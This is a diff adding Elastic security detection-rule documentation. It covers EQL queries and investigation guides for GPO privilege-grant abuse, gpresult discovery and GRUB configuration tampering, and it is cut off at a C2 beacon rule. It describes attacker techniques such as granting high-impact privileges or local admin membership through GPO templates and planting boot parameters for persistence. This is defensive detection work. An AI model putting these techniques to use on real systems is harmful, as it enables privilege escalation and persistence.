`winlog.event_data.TargetUserName`, and `winlog.event_data.TargetServerName`. Missing logon telemetry is unresolved, not benign. + - !{investigate{"description":"","label":"Linked logon for the GPO writer","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Explicit-credential events for the GPO writer","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: escalate when the writer is outside GPO admin cohort, uses an unusual source or direct domain-controller session, or shows alternate-credential use; lower concern when account/session match a recognized GPO administration path. +- Do surrounding directory changes show a coordinated GPO update? + - Why: "5136" can record related object modifications; `winlog.event_data.OpCorrelationID` separates one GPO edit from directory noise. + - Focus: reconstruct surrounding "5136" records from the same domain controller with `winlog.event_data.OpCorrelationID`, `winlog.event_data.SubjectLogonId`, `winlog.event_data.ObjectGUID`, changed attribute, and operation type. + - Hint: prefer one `winlog.event_data.OpCorrelationID`; if absent, use the same `winlog.event_data.SubjectLogonId` plus tight `@timestamp` and `winlog.record_id` ordering. !{investigate{"description":"","label":"5136 events in this GPO change operation","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.OpCorrelationID","queryType":"phrase","value":"{{winlog.event_data.OpCorrelationID}}","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the operation touches other sensitive GPO attributes or combines this privilege path with GPO execution or persistence; lower concern when the 5136 set stays narrow and artifact/scope checks confirm one recognized security-template task. +- What grants and recipients does the SYSVOL template define? + - Why: the alert proves machine security extensions were enabled; rights or local group membership live in "GptTmpl.inf" under the SYSVOL policy folder. + - Focus: use the policy GUID from the CN portion of `winlog.event_data.ObjectDN` with `winlog.event_data.DSName` to inspect "Machine/Microsoft/Windows NT/SecEdit/GptTmpl.inf"; map SIDs/groups to admin tier, service-account role, and whether `winlog.event_data.SubjectUserSid` benefits. Treat `winlog.event_data.ObjectGUID` as the AD object pivot, not the SYSVOL folder name, unless it matches the CN. + - Hint: if SYSVOL is unavailable, preserve `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectGUID`, `winlog.event_data.DSName`, and expected policy path; suspicious writer/session or companion 5136 evidence makes the missing grant an evidence gap. + - Implication: escalate when "[Privilege Rights]" grants high-impact rights ("SeDebugPrivilege", "SeTakeOwnershipPrivilege", "SeEnableDelegationPrivilege", or "SeImpersonatePrivilege"), when "[Group Membership]" adds broad/unexpected identities to local Administrators ("S-1-5-32-544"), or when the writer benefits; lower concern when entries and recipients match the recognized baseline for that GPO. +- Which computers consume the changed GPO? + - Why: GPO privilege abuse scales with link scope, security filtering, WMI filters, and reach to admin workstations, servers, or domain controllers. + - Focus: use `winlog.event_data.ObjectDN` and the recovered policy-folder GUID to review GPO links, security filtering, WMI filters, and roles. + - Hint: if scope data is unavailable, preserve `winlog.event_data.ObjectDN` and `winlog.event_data.ObjectGUID`; do not assume narrow scope, and escalate if writer/session, companion-change, or grant evidence is suspicious. + - Implication: prioritize escalation when the GPO reaches domain controllers, admin workstations, servers, or broad workstations; lower urgency only when scope matches the recognized maintenance/test population established by the grant evidence. +- If evidence remains suspicious or unresolved, do related events show broader abuse? + - Focus: after confirming `user.id` is the writer, review recent modifying-account activity. !{investigate{"description":"","label":"Recent events associated with the source account","providers":[[{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare with activity scoped to the same `winlog.event_data.ObjectGUID`. !{investigate{"description":"","label":"Events associated with the modified GPO","providers":[[{"excluded":false,"field":"winlog.event_data.ObjectGUID","queryType":"phrase","value":"{{winlog.event_data.ObjectGUID}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the writer or same GPO appears in other GPO abuse, credential access, privilege escalation, or lateral movement; quiet history only narrows scope and cannot close unresolved grant or blast-radius questions. +- Escalate for unexpected writer/session, companion change, high-impact grant, sensitive scope, or related abuse; close only when the same GPO, writer/session, recovered grants, and scope prove one recognized hardening or restricted-groups workflow; if evidence stays mixed or incomplete, preserve GPO artifacts and escalate. + + +*False positive analysis* + + +- Authorized GPO hardening, restricted-groups maintenance, red-team, or detection-validation can update "gPCMachineExtensionNames" and "GptTmpl.inf". Confirm only when writer/session, GPO object, `winlog.event_data.OpCorrelationID`, recovered template entries, and linked scope match the admin tier, change window, template, or test plan. Quiet history supports but cannot replace that proof; if any anchor diverges, do not close as benign. +- For exceptions, validate one authorized workflow matching writer SID, GPO object, grant pattern, and linked OU/host scope. Build the exception from that pattern, not broad `event.code`, "gPCMachineExtensionNames", or GPO modification activity. + + +*Related rules* + + +- Scheduled Task Execution at Scale via GPO - 15a8ba77-1c13-4274-88fe-6bd14133861e +- Startup/Logon Script added to Group Policy Object - 16fac1a1-21ee-4ca6-b720-458e3855d046 + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document writer SID, GPO object, logon/correlation IDs, recovered "GptTmpl.inf", and OU/host scope matching the workflow. Keep exceptions narrow and tied to that stable pattern. +- If suspicious but unconfirmed, preserve the "5136" event, object and writer/session IDs, `winlog.event_data.OpCorrelationID`, `winlog.computer_name`, exported "GptTmpl.inf", available SYSVOL metadata, linked "4624"/"4648" events, and related activity before containment. Use reversible controls first: restrict affected-GPO edits, limit the writer's GPO admin path, or monitor linked systems during scoping. Disable accounts or roll back GPOs only if follow-on abuse or malicious grants are confirmed. +- If confirmed malicious, preserve evidence first, remove unauthorized "[Privilege Rights]" or "[Group Membership]" entries, roll the GPO back to known-good state, and verify exported SYSVOL metadata before forcing policy refresh. Use identity/endpoint response to contain the writer account and admin workstation identified by `source.ip` or `winlog.logon.type`; if unavailable, escalate with writer/session, GPO, correlation, and SYSVOL artifacts. +- Review linked OUs and affected computers before deleting artifacts or forcing "gpupdate"; complete scoping before evidence changes. +- Harden: restrict GPO edit rights to dedicated admin tiers, retain "5136" auditing, keep security-template baselines, and document abuse variants or visibility gaps for detection engineering. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code: "5136" and + winlog.event_data.AttributeLDAPDisplayName: "gPCMachineExtensionNames" and + winlog.event_data.AttributeValue: "*827D319E-6EAC-11D2-A4EA-00C04F79F83A*" and + winlog.event_data.AttributeValue: "*803E14A0-B4FB-11D0-A0D0-00A0C90F574B*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-group-policy-discovery-via-microsoft-gpresult-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-group-policy-discovery-via-microsoft-gpresult-utility.asciidoc new file mode 100644 index 0000000000..0439e548be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-group-policy-discovery-via-microsoft-gpresult-utility.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-group-policy-discovery-via-microsoft-gpresult-utility]] +=== Group Policy Discovery via Microsoft GPResult Utility + +Detects the usage of gpresult.exe to query group policy objects. Attackers may query group policy objects during the reconnaissance phase after compromising a system to gain a better understanding of the active directory environment and possible methods to escalate privileges or move laterally. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Group Policy Discovery via Microsoft GPResult Utility* + + +Group Policy is a Windows feature that allows administrators to manage and configure settings for users and computers in an Active Directory environment. The Microsoft GPResult utility (gpresult.exe) is a command-line tool used to query and display Group Policy Objects (GPOs) applied to a system. Attackers may abuse this utility to gain insights into the active directory environment and identify potential privilege escalation or lateral movement opportunities. + +The detection rule 'Group Policy Discovery via Microsoft GPResult Utility' is designed to identify the usage of gpresult.exe with specific arguments ("/z", "/v", "/r", "/x") that are commonly used by adversaries during the reconnaissance phase to perform group policy discovery. + + +*Possible investigation steps* + + +- Review the alert details to understand the context of the gpresult.exe usage, such as the user account, system, and time of execution. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate any abnormal behavior by the parent process, such as network connections, registry or file modifications, and any other spawned child processes. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +(process.name: "gpresult.exe" or ?process.pe.original_file_name == "gprslt.exe") and process.args: ("/z", "/v", "/r", "/x") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Group Policy Discovery +** ID: T1615 +** Reference URL: https://attack.mitre.org/techniques/T1615/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-grub-configuration-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-grub-configuration-file-creation.asciidoc new file mode 100644 index 0000000000..9790e30bbe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-grub-configuration-file-creation.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-grub-configuration-file-creation]] +=== GRUB Configuration File Creation + +This rule detects the creation of GRUB configuration files on Linux systems. The GRUB configuration file is used to configure the boot loader, which is responsible for loading the operating system. Attackers may create malicious GRUB configuration files to execute arbitrary code or escalate privileges during the boot process, which can be leveraged to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GRUB Configuration File Creation* + + +GRUB (Grand Unified Bootloader) is crucial for booting Linux systems, managing the boot process, and loading the OS. Adversaries may exploit GRUB by creating or altering configuration files to execute unauthorized code or gain elevated privileges, ensuring persistence. The detection rule identifies suspicious creation of GRUB files, excluding legitimate processes, to flag potential security threats. + + +*Possible investigation steps* + + +- Review the file path and name to determine if it matches any known GRUB configuration files, as specified in the query (e.g., "/etc/default/grub", "/boot/grub2/grub.cfg"). +- Identify the process that created the file by examining the process.executable field, ensuring it is not one of the excluded legitimate processes. +- Check the timestamp of the file creation event to correlate it with any other suspicious activities or changes in the system around the same time. +- Investigate the user account associated with the process that created the file to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Analyze the contents of the newly created or modified GRUB configuration file for any unauthorized or suspicious entries that could indicate malicious intent. +- Cross-reference the event with other security logs or alerts to identify any related activities or patterns that could suggest a broader attack or compromise. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum may trigger false positives when they update or modify GRUB configuration files during routine package installations or updates. To handle this, ensure these processes are included in the exclusion list within the detection rule. +- Automated system management tools such as Puppet, Chef, and Ansible can also cause false positives when they manage GRUB configurations as part of their configuration management tasks. Consider adding these tools to the exclusion list if they are part of your environment. +- Virtualization and containerization tools like Docker, Podman, and VirtualBox might modify GRUB files as part of their operations. Verify these processes and exclude them if they are legitimate in your setup. +- Temporary files created by text editors or system processes, such as those with extensions like swp or swx, can be mistaken for GRUB configuration files. Ensure these extensions are part of the exclusion criteria to prevent unnecessary alerts. +- Custom scripts or administrative tasks that modify GRUB configurations for legitimate reasons should be reviewed and, if deemed safe, added to the exclusion list to avoid repeated false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further unauthorized access. +- Review the GRUB configuration files identified in the alert to confirm unauthorized modifications or creations. Restore any altered files from a known good backup if necessary. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious code or backdoors that may have been introduced. +- Change all system and user passwords on the affected machine to prevent unauthorized access using potentially compromised credentials. +- Monitor the system for any further suspicious activity, particularly focusing on processes attempting to modify GRUB configuration files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional logging and monitoring for GRUB configuration changes to enhance detection capabilities and prevent future unauthorized modifications. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and file.path like~ ( + "/etc/default/grub.d/*", "/etc/default/grub", "/etc/grub.d/*", + "/boot/grub2/grub.cfg", "/boot/grub/grub.cfg", "/boot/efi/EFI/*/grub.cfg", + "/etc/sysconfig/grub" +) and not ( + /* Too many FPs from Python automation */ + process.name like ("python*", "platform-python*") or + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/pacman", "./usr/bin/podman", "/usr/bin/dnf5", + "/usr/sbin/yum-cron" + ) or + process.executable like~ ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-grub-configuration-generation-through-built-in-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-grub-configuration-generation-through-built-in-utilities.asciidoc new file mode 100644 index 0000000000..efc0cf0976 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-grub-configuration-generation-through-built-in-utilities.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-grub-configuration-generation-through-built-in-utilities]] +=== GRUB Configuration Generation through Built-in Utilities + +This rule detects the generation of a new GRUB configuration file using built-in Linux commands. The GRUB configuration file is used to configure the GRUB bootloader, which is responsible for loading the Linux kernel and initramfs image during the boot process. Attackers may use these built-in utilities to generate a new GRUB configuration file that includes malicious kernel parameters or boot options, which can be leveraged to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GRUB Configuration Generation through Built-in Utilities* + + +GRUB, the Grand Unified Bootloader, is crucial for loading the Linux kernel during system startup. It uses configuration files to determine boot parameters. Adversaries may exploit utilities like `grub-mkconfig` to alter these files, embedding malicious parameters for persistence. The detection rule identifies suspicious executions of these utilities, especially when initiated by atypical parent processes, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to identify the parent process of the suspicious GRUB configuration utility execution. Check if the parent process is unusual or unexpected based on the query's exclusion list. +- Examine the command-line arguments used in the execution of the GRUB configuration utility to identify any potentially malicious kernel parameters or boot options. +- Investigate the user account associated with the process execution to determine if it has the necessary privileges and if the activity aligns with the user's typical behavior. +- Check the system's recent changes or updates, especially those related to bootloader configurations, to identify any unauthorized modifications. +- Analyze system logs for any other suspicious activities or anomalies around the time of the GRUB configuration utility execution to gather additional context. + + +*False positive analysis* + + +- Routine system updates or maintenance tasks may trigger the rule when legitimate processes like package managers (e.g., pacman, dnf, yum) or system utilities (e.g., sudo) execute GRUB configuration commands. Users can mitigate this by adding these processes to the exception list in the rule configuration. +- Automated scripts or cron jobs that regularly update GRUB configurations for legitimate reasons might be flagged. To handle this, identify these scripts and add their parent process names or paths to the exclusion criteria. +- Custom administrative scripts that manage bootloader settings could also cause false positives. Review these scripts and, if verified as safe, include their parent process details in the rule's exceptions. +- Some Linux distributions may have specific utilities or services that interact with GRUB as part of their normal operation. Investigate these utilities and consider excluding them if they are confirmed to be benign and necessary for system functionality. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes related to `grub-mkconfig`, `grub2-mkconfig`, or `update-grub` that were initiated by atypical parent processes. +- Review and restore the GRUB configuration file from a known good backup to ensure no malicious parameters are present. +- Conduct a thorough examination of the system for additional signs of compromise, focusing on persistence mechanisms and unauthorized changes to boot parameters. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement monitoring for future unauthorized executions of GRUB configuration utilities, ensuring alerts are generated for similar suspicious activities. +- Review and update access controls and permissions to restrict the execution of GRUB configuration utilities to authorized personnel only. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.executable != null and process.name in ("grub-mkconfig", "grub2-mkconfig", "update-grub") and not ( + process.parent.name in ("run-parts", "sudo", "update-grub", "pacman", "dockerd", "dnf", "rpm", "yum") or + process.parent.executable like ( + "/var/lib/dpkg/info/*", "/usr/lib/bootloader/grub2-efi/config", "/tmp/newroot/*", "/usr/lib/kernel/install.d/*", + "/run/user/*/.bubblewrap/*/timeout" + ) or + process.parent.executable in ( + "/usr/bin/timeout", "/usr/sbin/nvidia-boot-update", "/usr/lib/oci-linux-config/misc_updates.sh", + "/opt/puppetlabs/puppet/bin/puppet", "/usr/sbin/selinux-activate", "/usr/lib/skylight/stop-workspace", + "/var/lib/aws-replication-agent/install_agent", "/usr/local/CTS/bin/apply_personality", + "/opt/puppetlabs/puppet/bin/ruby" + ) or + (process.parent.name like ("python*", "platform-python*") and process.parent.command_line like "*ansible*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-halfbaked-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-halfbaked-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..722347ffc0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-halfbaked-command-and-control-beacon.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-halfbaked-command-and-control-beacon]] +=== Halfbaked Command and Control Beacon + +Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also 